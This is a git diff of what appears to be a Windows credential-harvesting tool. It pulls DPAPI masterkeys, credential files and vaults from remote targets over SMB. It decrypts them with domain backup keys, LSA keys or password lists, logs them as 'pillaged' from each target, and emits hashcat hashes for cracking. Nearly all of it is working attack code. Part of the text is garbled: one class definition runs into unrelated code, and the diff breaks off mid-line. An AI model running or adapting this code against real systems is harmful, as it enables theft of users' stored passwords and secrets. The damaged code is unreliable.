decrypted_masterkey + user.type = 'MACHINE-USER' + user.type_validated = True + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with="MACHINE-USER", decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}") + self.logging.debug(ex) + else: + if user.type_validated == False and not user.is_adconnect: + return self.decrypt_masterkey(user, guid, type='DOMAIN') + + elif type == 'DOMAIN' and self.options.pvk is not None: + # For ADConnect + if user.is_adconnect is True: + return self.decrypt_masterkey(user, guid, type='MACHINE-USER') + # Try de decrypt masterkey file + self.logging.debug( + f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey {self.options.pvk}") + try: + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + myoptions.username = user.username + myoptions.sid = user.sid + mydpapi = DPAPI(myoptions, self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey() + if decrypted_masterkey != -1 and decrypted_masterkey != None: + # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey) + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + # user.masterkeys[localfile] = decrypted_masterkey + user.type = 'DOMAIN' + user.type_validated = True + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for user {bcolors.OKBLUE} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with="DOMAIN-PVK", + decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Domain Backupkey {self.options.pvk} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid} -> Checking with Local user with credz{bcolors.ENDC}") + if user.type_validated == False: + return self.decrypt_masterkey(user, guid, 'LOCAL') + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz{bcolors.ENDC}") + self.logging.debug(f"exception was : {ex}") + if user.type_validated == False: + return self.decrypt_masterkey(user, guid, 'LOCAL') + + # type==LOCAL + # On a des credz + if len(self.options.credz) > 0 and user.masterkeys_file[guid][ + 'status'] != 'decrypted': # localfile not in user.masterkeys: + self.logging.debug( + f"[{self.options.target_ip}] [...] Testing decoding {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with credz") + for username in self.options.credz: + if username in user.username: # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ? + self.logging.debug( + f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[user.username])} credz for user {user.username}") + # for test_cred in self.options.credz[user.username]: + try: + self.logging.debug( + f"[{self.options.target_ip}]Trying to decrypt {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with user SID {user.sid} and {len(self.options.credz[username])}credential(s) from credz file") + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + # myoptions.password = self.options.credz[username] + myoptions.sid = user.sid + myoptions.pvk = None + myoptions.key = None + mydpapi = DPAPI(myoptions, self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey(passwords=self.options.credz[username]) + if decrypted_masterkey != -1 and decrypted_masterkey != None: + # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}") + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + # user.masterkeys[localfile] = decrypted_masterkey + user.type = 'LOCAL' + user.type_validated = True + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for User {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with=f"Password:{self.options.credz[username]}", + decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug( + f"[{self.options.target_ip}] error decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with {len(self.options.credz[username])} passwords from user {username} in cred list") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Except decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey with {len(self.options.credz[username])} passwords from user {username} in cred list") + self.logging.debug(ex) + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.FAIL}no credential in credz file for user {user.username} and masterkey {guid} {bcolors.ENDC}") + # on a pas su le dechiffrer, mais on conseve la masterkey + '''if localfile not in user.masterkeys: + user.masterkeys[localfile] = None''' + if user.masterkeys_file[guid]['status'] == 'encrypted': + user.masterkeys_file[guid]['status'] = 'decryption_failed' + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], decrypted_with='', + decrypted_value='', + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return -1 + elif user.masterkeys_file[guid]['status'] == 'decrypted': # Should'nt go here + return user.masterkeys_file[guid] diff --git a/lib/compliance_security.py b/lib/compliance_security.py new file mode 100644 index 0000000..c1af213 --- /dev/null +++ b/lib/compliance_security.py @@ -0,0 +1,93 @@ +import ntpath +import LnkParse3 +from lib.toolbox import bcolors +from lib.fileops import MyFileOps + +class new_module(): + def __init__(self,smb,myregops,myfileops,logger,options,db,users): + self.myregops = myregops + self.myfileops = myfileops + self.logging = logger + self.options = options + self.db = db + self.users = users + self.smb = smb + + + def run(self): + self.check_laps() + #self.process_files() + #self.decrypt_all() + + def get_files(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering New Module Secrets {bcolors.ENDC}") + blacklist = ['.', '..'] + + user_directories = [("Users\\{username}\\Recent", ('*.xls','*.pdf','*.doc*','*.txt','*.lnk')), + ("Users\\{username}\\Desktop", ('*.xls','*.pdf','*.doc*','*.lnk'))] + machine_directories = [("Windows\\System32\\config\\", '*'),] + + for user in self.users: + self.logging.debug( + f"[{self.options.target_ip}] Looking for {user.username} ") + if user.username == 'MACHINE$': + directories_to_use = machine_directories + else: + directories_to_use = user_directories + + for info in directories_to_use: + my_dir, my_mask = info + tmp_pwd = my_dir.format(username=user.username) + self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") + for mask in my_mask: + my_directory = self.myfileops.do_ls(tmp_pwd, mask, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned file %s" % longname) + if longname not in blacklist and not is_directory: + try: + # Downloading file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True) + self.process_file(localfile,user) + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + def process_file(self,localfile,username): + try: + self.db.add_credz(credz_type='XXXXX',credz_username=username.decode('utf-8'),redz_password='',credz_target='',credz_path=localfile,pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=username) + return 1 + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ProcessFile {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + + def check_laps(self): + try: + reg_key = self.myregops.get_reg_value('HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{D76B9641-3288-4f75-942D-087DE603E3EA}','DllName') + mytype = reg_key[0] + myvalue = reg_key[1] + if 'AdmPwd.dll' in myvalue: + self.logging.debug(f"[{self.options.target_ip}] LAPS Found") + return True + except Exception: + self.logging.debug(f'No LAPS Found') + return False + + def check_llmnr(self): + try: + reg_key = self.myregops.get_reg_value('HKLM:\Software\policies\Microsoft\Windows NT\DNSClient','EnableMulticast') + mytype = reg_key[0] + myvalue = reg_key[1] + if '0' in myvalue: + self.logging.debug(f"[{self.options.target_ip}] LLMNR is Disabled") + return True + except Exception: + self.logging.debug(f'No LAPS Found') + return False + + """ + ("WDigest disabled","HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest","UseLogonCredential","0","Prevent clear text password to be stored in lsass"), + ("WDigest cleaning","HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa","TokenLeakDetectDelaySecs","30","Clear LoggedOf users creadential from lass after x Sec"), + ("CredSSP Allow",HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults","","any applications are explicitly listed in the “Allow” keys (Fig. 35) - as this would permit the tspkgs / CredSSP providers to store cleartext passwords in memory"), + () + """ \ No newline at end of file diff --git a/lib/defines.py b/lib/defines.py new file mode 100644 index 0000000..52016de --- /dev/null +++ b/lib/defines.py @@ -0,0 +1,59 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com + +# Generic Errors +ERROR_SUCCESS = (0, "") +ERROR_MISSING_ARGUMENTS = (1, "") +ERROR_USER_FILE_NOT_FOUND = (2, "Users file does not exist") +ERROR_NO_USER_NO_LDAP = (3, "Either provide ldap credentials or user(s)") +ERROR_THRESHOLD = (4, "Bad password count reached threshold") + +# Neo4J Errors +ERROR_NEO4J_CREDENTIALS = (100, "Neo4j credentials are not valid") +ERROR_NEO4J_SERVICE_UNAVAILABLE = (101, "Neo4j is not available") +ERROR_NEO4J_NON_EXISTENT_NODE = (102, "Node does not exist in database") +ERROR_NO_PATH = (103, "No admin path from this node") +ERROR_NEO4J_UNEXPECTED = (199, "Unexpected error with Neo4J") + +# Ldap Errors +ERROR_LDAP_CREDENTIALS = (200, "Ldap credentials are not valid") +ERROR_LDAP_SERVICE_UNAVAILABLE = (201, "Ldap is not available") +ERROR_LDAP_NO_CREDENTIALS = (202, "No credentials provided") +ERROR_LDAP_NOT_FQDN_DOMAIN = (203, "Invalid domain") +ERROR_LDAP_UNEXPECTED = (299, "Unexpected error with Ldap") + + +ERROR_UNDEFINED = (-1, "Unknown error") + + +class RetCode: + def __init__(self, error, exception=None): + self.error_code = error[0] + self.error_msg = error[1] + self.error_exception = exception + + def success(self): + return self.error_code == 0 + + def __str__(self): + return "{} : {}".format(self.error_code, self.error_msg) + + def __eq__(self, other): + if isinstance(other, RetCode): + return self.error_code == other.error_code + elif isinstance(other, int): + return self.error_code == other + elif isinstance(other, tuple): + return self.error_code == other[0] + return NotImplemented + + def __ne__(self, other): + x = self.__eq__(other) + if x is not NotImplemented: + return not x + return NotImplemented + + def __hash__(self): + return hash(tuple(sorted(self.__dict__.items()))) \ No newline at end of file diff --git a/lib/dpapi.py b/lib/dpapi.py new file mode 100644 index 0000000..ad2a707 --- /dev/null +++ b/lib/dpapi.py @@ -0,0 +1,748 @@ +#!/usr/bin/env python +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: +# Pierre-Alexandre Vandewoestyne (@T00uF) +# Mostly the work of the great Alberto Solino (@agsolino) +# +# Description: +# Example for using the DPAPI/Vault structures to unlock Windows Secrets. +# +# Examples: +# +# You can unlock masterkeys, credentials and vaults. For the three, you will specify the file name (using -file for +# masterkeys and credentials, and -vpol and -vcrd for vaults). +# If no other parameter is sent, the contents of these resource will be shown, with their encrypted data as well. +# If you specify a -key blob (in the form of '0xabcdef...') that key will be used to decrypt the contents. +# In the case of vaults, you might need to also provide the user's sid (and the user password will be asked). +# For system secrets, instead of a password you will need to specify the system and security hives. +# +# References: All of the work done by these guys. I just adapted their work to my needs. +# https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 +# https://github.com/jordanbtucker/dpapick +# https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did ) +# http://blog.digital-forensics.it/2016/01/windows-revaulting.html +# https://www.passcape.com/windows_password_recovery_vault_explorer +# https://www.passcape.com/windows_password_recovery_dpapi_master_key +# +from __future__ import division +from __future__ import print_function + +import struct +import argparse +import logging +import sys +import re +from binascii import unhexlify, hexlify +from hashlib import pbkdf2_hmac +from impacket import LOG +from Cryptodome.Cipher import AES, PKCS1_v1_5 +from Cryptodome.Hash import HMAC, SHA1, MD4 +from impacket.uuid import bin_to_string +from impacket import crypto +from impacket.smbconnection import SMBConnection +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5 import lsad +from impacket import version +from impacket.examples import logger +from impacket.examples.secretsdump import LocalOperations, LSASecrets +from impacket.structure import hexdump +from impacket.dpapi import * +from lib.toolbox import bcolors + +"""MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, DPAPI_BLOB, \ + CREDENTIAL_BLOB, VAULT_VCRD, VAULT_VPOL, VAULT_KNOWN_SCHEMAS, VAULT_VPOL_KEYS, P_BACKUP_KEY, PREFERRED_BACKUP_KEY, \ + PVK_FILE_HDR, PRIVATE_KEY_BLOB, privatekeyblob_to_pkcs1, DPAPI_DOMAIN_RSA_MASTER_KEY +""" + + +def is_password_hash(password): + #TODO + if len(password)==32 :#NT hash + return True + #is sha1, MD4, sha256 + return 0 + +#From GentilKiwi https://github.com/gentilkiwi/mimikatz/blob/fe4e98405589e96ed6de5e05ce3c872f8108c0a0/modules/kull_m_key.h#L18-L38 +class CapiCertBlob(Structure): + structure = ( + ('Version', ' 0: + mk = MasterKey(data[:mkf['MasterKeyLen']]) + data = data[len(mk):] + self.logging.debug("[MASTERKEY]") + self.logging.debug("Version : %8x (%d)" % (mk['Version'], mk['Version'])) + self.logging.debug("Salt : %s" % hexlify(mk['Salt'])) + self.logging.debug("Rounds : %8x (%d)" % (mk['MasterKeyIterationCount'], mk['MasterKeyIterationCount'])) + self.logging.debug("HashAlgo : %.8x (%d) (%s)" % ( + mk['HashAlgo'], mk['HashAlgo'], ALGORITHMS(mk['HashAlgo']).name)) + self.logging.debug("CryptAlgo : %.8x (%d) (%s)" % ( + mk['CryptAlgo'], mk['CryptAlgo'], ALGORITHMS(mk['CryptAlgo']).name)) + self.logging.debug("data : %s" % (hexlify(mk['data']))) + + #Generate Dump + # + #On peut voir si le compte est un compte domaine via l'existance d'infos de domainkey + is_domain_user=False + # Context = local or domain + if mkf['DomainKeyLen'] > 0: + contexts = [2,3] + is_domain_user=True + else : + contexts = [1] + if self.options.sid : + + #self.logging.debug(ALGORITHMS(mk['CryptAlgo']).name) + #self.logging.debug(ALGORITHMS(mk['HashAlgo']).name) + if ALGORITHMS(mk['CryptAlgo']).name=="CALG_3DES": + crypt_algo="des3" + if ALGORITHMS(mk['CryptAlgo']).name=="CALG_AES_256": + crypt_algo="aes256" + if ALGORITHMS(mk['HashAlgo']).name == "CALG_HMAC" or ALGORITHMS(mk['HashAlgo']).name =="CALG_SHA1": + hash_algo="sha1" + if ALGORITHMS(mk['HashAlgo']).name == "CALG_SHA_512": + hash_algo="sha512" + if crypt_algo=="des3" and hash_algo=="sha1" and len(hexlify(mk['data']))==208: + version=1 + self.logging.debug(f"MKF version {mk['Version']} detected : with Crypto {ALGORITHMS(mk['CryptAlgo']).name} and hash {ALGORITHMS(mk['HashAlgo']).name}") + elif crypt_algo=="aes256" and hash_algo=="sha512" and len(hexlify(mk['data']))==288: + version=2 + self.logging.debug(f"MKF version {mk['Version']} detected : with Crypto {ALGORITHMS(mk['CryptAlgo']).name} and hash {ALGORITHMS(mk['HashAlgo']).name}") + else: + self.logging.debug(f"Unsupported Crypto/hash version : {ALGORITHMS(mk['CryptAlgo']).name} : {ALGORITHMS(mk['HashAlgo']).name} with data length of {len(hexlify(mk['data']))}") + for context in contexts: #version=mk['Version'] == MKF Version // 1=hashcat 15300 / 2=hashcat 15900 + hashcat_hash=f"$DPAPImk${version}*{context}*{self.options.sid}*{crypt_algo}*{hash_algo}*{mk['MasterKeyIterationCount']}*{hexlify(mk['Salt']).decode('UTF-8')}*{len(hexlify(mk['data']))}*{hexlify(mk['data']).decode('UTF-8')}" + self.logging.debug(hashcat_hash) + hashes.append(hashcat_hash) + #Save hashes in database + #add_dpapi_hash(file_path='', sid='', guid='', hash='',context='', pillaged_from_computerid=None,pillaged_from_computer_ip=None) + + else : + self.logging.debug('SID needed to generate hash file') + return [],is_domain_user + return hashes, is_domain_user + + def decrypt_masterkey(self,passwords=[]): + #Open masterkey + self.logging.debug("Opening masterkey file %s"%self.options.file) + fp = open(self.options.file, 'rb') + data = fp.read() + mkf = MasterKeyFile(data) + #mkf.dump() + data = data[len(mkf):] + dk=None + if mkf['MasterKeyLen'] > 0: + mk = MasterKey(data[:mkf['MasterKeyLen']]) + data = data[len(mk):] + + if mkf['BackupKeyLen'] > 0: + bkmk = MasterKey(data[:mkf['BackupKeyLen']]) + data = data[len(bkmk):] + + if mkf['CredHistLen'] > 0: + ch = CredHist(data[:mkf['CredHistLen']]) + data = data[len(ch):] + + if mkf['DomainKeyLen'] > 0: + dk = DomainKey(data[:mkf['DomainKeyLen']]) + data = data[len(dk):] + + if self.options.pvk and dk!=None: + self.logging.debug("Opening Domain Master Backup File %s" % self.options.pvk) + pvkfile = open(self.options.pvk, 'rb').read() + key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):]) + private = privatekeyblob_to_pkcs1(key) + cipher = PKCS1_v1_5.new(private) + + decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None) + if decryptedKey: + domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decryptedKey) + key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']] + self.logging.debug('Decrypted key with domain backup key provided') + self.logging.debug('Decrypted key: 0x%s' % hexlify(key).decode('latin-1')) + return '0x%s' % hexlify(key).decode('latin-1') + else: + logging.debug("Error in decryptedKey with PVK") + #Lets try to decrypt it with another method + #return -1 + if self.options.key and self.options.sid: #LSA machine/user Key + SID + self.logging.debug("Decrypting with SID and key") + key = unhexlify(self.options.key[2:]) + key1, key2 = self.deriveKeysFromUserkey(self.options.sid, key) + decryptedKey = mk.decrypt(key1) + if decryptedKey: + self.logging.debug('Decrypted key with key provided + SID') + self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return '0x%s' % hexlify(decryptedKey).decode('latin-1') + decryptedKey = mk.decrypt(key2) + if decryptedKey: + self.logging.debug('Decrypted key with key provided + SID') + self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return '0x%s' % hexlify(decryptedKey).decode('latin-1') + if self.options.key: + self.logging.debug(f"Decrypting with key {self.options.key}") + key = unhexlify(self.options.key[2:]) + decryptedKey = mk.decrypt(key) + if decryptedKey: + self.logging.debug('Decrypted key with key provided') + self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return '0x%s' % hexlify(decryptedKey).decode('latin-1') + if self.options.sid :#and self.options.key is None: + self.logging.debug(f'Decrypting with SID {self.options.sid} and Password {self.options.password}') + # Do we have a password? + for password in passwords: + #Password or hash ? # TODO + if is_password_hash(password): + self.logging.debug(f"Trying with hash = {password}") + pwdhash=password + key1, key2=self.deriveKeysFromUserkey(self.options.sid, pwdhash) + key3=None + else: + self.logging.debug(f"Trying with Password= {password}") + key1, key2, key3 = self.deriveKeysFromUser(self.options.sid, password) + self.logging.debug(f'Got \nkey1:{key1}\nkey2:{key2}\nkey3:{key3}') + # if mkf['flags'] & 4 ? SHA1 : MD4 + if mkf['MasterKeyLen'] > 0: + decryptedKey = mk.decrypt(key3) + if decryptedKey: + self.logging.debug('Decrypted key with User Key (MD4 protected)') + self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return '0x%s' % hexlify(decryptedKey).decode('latin-1') + + decryptedKey = mk.decrypt(key2) + if decryptedKey: + self.logging.debug('Decrypted key with User Key (MD4)') + self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return '0x%s' % hexlify(decryptedKey).decode('latin-1') + + decryptedKey = mk.decrypt(key1) + if decryptedKey: + self.logging.debug('Decrypted key with User Key (SHA1)') + self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return '0x%s' % hexlify(decryptedKey).decode('latin-1') + if mkf['BackupKeyLen'] > 0: + decryptedKey = bkmk.decrypt(key3) + if decryptedKey: + self.logging.debug('Decrypted Backup key with User Key (MD4 protected)') + self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return '0x%s' % hexlify(decryptedKey).decode('latin-1') + + decryptedKey = bkmk.decrypt(key2) + if decryptedKey: + self.logging.debug('Decrypted Backup key with User Key (MD4)') + self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return '0x%s' % hexlify(decryptedKey).decode('latin-1') + + decryptedKey = bkmk.decrypt(key1) + if decryptedKey: + self.logging.debug('Decrypted Backup key with User Key (SHA1)') + self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return '0x%s' % hexlify(decryptedKey).decode('latin-1') + else: + self.logging.debug('Password not found') + return -1 + + def find_CredentialFile_masterkey(self,raw_data=None): + if self.options.file is not None: #Policy file + try: + self.logging.debug("Opening BLOB file %s" % self.options.file) + fp = open(self.options.file, 'rb') + self.data = fp.read() + fp.close() + except Exception as ex: + self.logging.debug("Exception in dpapi.py find_Blob_masterkey 1 ") + self.logging.debug(ex) + elif raw_data is not None: + self.data = raw_data + if self.data == None: + self.logging.debug("No Data in dpapi.py find_CredentialFile_masterkey ") + try: + cred = CredentialFile(self.data) + blob = DPAPI_BLOB(cred['Data']) + self.logging.debug("got blob %r" % blob) + used_masterkey = bin_to_string(blob['GuidMasterKey']) + return used_masterkey.lower() + except Exception as ex: + self.logging.debug("Exception in dpapi.py find_CredentialFile_masterkey ") + self.logging.debug(ex) + + def find_Blob_masterkey(self,raw_data=None): + if self.options.file is not None: #Policy file + try: + self.logging.debug("Opening BLOB file %s" % self.options.file) + fp = open(self.options.file, 'rb') + self.data = fp.read() + fp.close() + except Exception as ex: + self.logging.debug("Exception in dpapi.py find_Blob_masterkey 1 ") + self.logging.debug(ex) + elif raw_data is not None : + self.data= raw_data + if self.data == None: + self.logging.debug("No Data in dpapi.py find_Blob_masterkey ") + try: + #cred = CredentialFile(data) + #blob = DPAPI_BLOB(cred['Data']) + blob = DPAPI_BLOB(self.data) + self.logging.debug("got blob %r" % blob) + used_masterkey = bin_to_string(blob['GuidMasterKey']) + return used_masterkey.lower() + except Exception as ex: + self.logging.debug("Exception in dpapi.py find_Blob_masterkey 2") + self.logging.debug(ex) + + def find_Vault_Masterkey(self,raw_data=None): + if self.options.vpol is not None: #Policy file + try: + self.logging.debug("Opening Policy BLOB file %s" % self.options.vpol) + fp = open(self.options.vpol, 'rb') + self.data = fp.read() + fp.close() + except Exception as ex: + self.logging.debug("Exception in dpapi.py find_Blob_masterkey 1 ") + self.logging.debug(ex) + elif raw_data is not None: + self.data = raw_data + if self.data == None: + self.logging.debug("No Data in dpapi.py find_Vault_Masterkey ") + try: + vpol = VAULT_VPOL(self.data) + blob = vpol['Blob'] + #vpol.dump() + used_masterkey = bin_to_string(blob['GuidMasterKey']) + return used_masterkey.lower() + except Exception as ex: + self.logging.debug("Exception in dpapi.py find_Vault_Masterkey ") + self.logging.debug(ex) + + def decrypt_credential(self,raw_data=None): + if self.options.file is not None: # Policy file + try: + self.logging.debug("Opening BLOB file %s" % self.options.file) + fp = open(self.options.file, 'rb') + self.data = fp.read() + fp.close() + except Exception as ex: + self.logging.debug("Exception in dpapi.py find_Blob_masterkey 1 ") + self.logging.debug(ex) + elif raw_data is not None: + self.data = raw_data + if self.data == None: + self.logging.debug("No Data in dpapi.py decrypt_credential ") + try: + cred = CredentialFile(self.data) + blob = DPAPI_BLOB(cred['Data']) + self.logging.debug("got blob %r" % blob) + used_masterkey=bin_to_string(blob['GuidMasterKey']) + self.logging.debug(f"Bloob is encrypted with MasterKey : {used_masterkey}") + if self.options.key is not None: + self.logging.debug("Key was given to DPAPI.decrypt_credential() - using key %s"%self.options.key) + key = unhexlify(self.options.key[2:]) + #self.logging.debug("With key %s"%hexlify(key)) + decrypted = blob.decrypt(key) + if decrypted is not None: + creds = CREDENTIAL_BLOB(decrypted) + #creds.dump() + return creds + else: + # Just print the data + self.logging.debug("NO Key was given to DPAPI.decrypt_credential() ") + blob.dump() + return None + except Exception as ex: + self.logging.debug("Exception in dpapi.py decrypt_credential") + self.logging.debug(ex) + return None + + def decrypt_blob(self,raw_data=None,entropy=None): + if self.options.file is not None: # Blob file + try: + self.logging.debug("Opening BLOB file %s" % self.options.file) + fp = open(self.options.file, 'rb') + self.data = fp.read() + fp.close() + except Exception as ex: + self.logging.debug("Exception in dpapi.py decrypt_blob 1 ") + self.logging.debug(ex) + elif raw_data is not None: + self.data = raw_data + if self.data is None: + self.logging.debug("No Data in dpapi.py decrypt_blob ") + return None + try: + blob = DPAPI_BLOB(self.data) + self.logging.debug("got blob %r" % blob) + used_masterkey=bin_to_string(blob['GuidMasterKey']) + self.logging.debug(f"Bloob is encrypted with MasterKey : {used_masterkey}") + if self.options.key is not None: + self.logging.debug("Key was given to DPAPI.decrypt_blob() - using key %s"%self.options.key) + key = unhexlify(self.options.key[2:]) + self.logging.debug("With key %s"%hexlify(key)) + if entropy is not None: + decrypted = blob.decrypt(key,entropy=entropy) + else: + decrypted = blob.decrypt(key) + #self.logging.debug(decrypted) + if decrypted is not None: + return decrypted + else: + # Just print the data + self.logging.debug("NO Key was given to DPAPI.decrypt_blob() ") + blob.dump() + return None + except Exception as ex: + self.logging.debug("Exception in dpapi.py decrypt_blob") + self.logging.debug(ex) + return None + + def decrypt_vault(self): + self.logging.debug('[-]dpapi.py decrypt_vault()') + if self.options.vcrd is None and self.options.vpol is None: + self.logging.debug('You must specify either -vcrd or -vpol parameter. Type --help for more info') + return None + + elif self.options.vpol is not None: #Policy file + try: + fp = open(self.options.vpol, 'rb') + data = fp.read() + vpol = VAULT_VPOL(data) + blob = vpol['Blob'] + #vpol.dump() + self.logging.debug("Looking for MasterKey : %s" % bin_to_string(blob['GuidMasterKey'])) + if self.options.key is not None: + self.logging.debug("Key was given to DPAPI.decrypt_vault() - using key %s" % self.options.key) + key = unhexlify(self.options.key[2:]) + # self.logging.debug("With key %s"%hexlify(key)) + #blob = vpol['Blob'] + data = blob.decrypt(key) + if data is not None: + keys = VAULT_VPOL_KEYS(data) + #keys.dump() + return keys + """ + elif self.options.masterkeys is not None: + for masterkey in self.options.masterkeys: + self.logging.debug("Testing masterkey %s" % masterkey) + if bin_to_string(blob['GuidMasterKey']).upper() in masterkey.upper(): + self.logging.debug("Masterkey %s found" % bin_to_string(blob['GuidMasterKey'])) + if self.options.masterkeys[masterkey] == None: + self.logging.debug(f"{bcolors.FAIL}[+]Error : This key was not decrypted{bcolors.ENDC}") + return None + key = unhexlify(self.options.masterkeys[masterkey][2:]) + self.logging.debug("Starting decryption With key %s" % hexlify(key)) + data = blob.decrypt(key) + if data is not None: + keys = VAULT_VPOL_KEYS(data) + keys.dump() + return keys + """ + + else: + # Just print the data + self.logging.debug("NO Key was given to DPAPI.decrypt_vault()") + #vpol.dump() + return -1 + except Exception as ex: + self.logging.debug("Exception in dpapi.py decrypt VPOL VAULT") + self.logging.debug(ex) + + elif self.options.vcrd is not None:#Vault file + fp = open(self.options.vcrd, 'rb') + data = fp.read() + blob = VAULT_VCRD(data) + keyz=[] + try: + if self.options.vaultkeys is not None: + for key in self.options.vaultkeys: + keyz.append(unhexlify(key[2:])) + if self.options.key is not None: + keyz.append(unhexlify(self.options.key[2:]) ) + except Exception as ex: + self.logging.debug("Exception in dpapi.py decrypt VCRD VAULT - getting keyz") + self.logging.debug(ex) + + for key in keyz: + try: + cleartext = None + for i, entry in enumerate(blob.attributesLen): + if entry > 28: + attribute = blob.attributes[i] + if 'IV' in attribute.fields and len(attribute['IV']) == 16: + cipher = AES.new(key, AES.MODE_CBC, iv=attribute['IV']) + else: + cipher = AES.new(key, AES.MODE_CBC) + cleartext = cipher.decrypt(attribute['Data']) + + if cleartext is not None: + # Lookup schema Friendly Name and print if we find one + if blob['FriendlyName'].decode('utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS:#************INTEGRER les SCHEMA + # Found one. Cast it and print + vault = 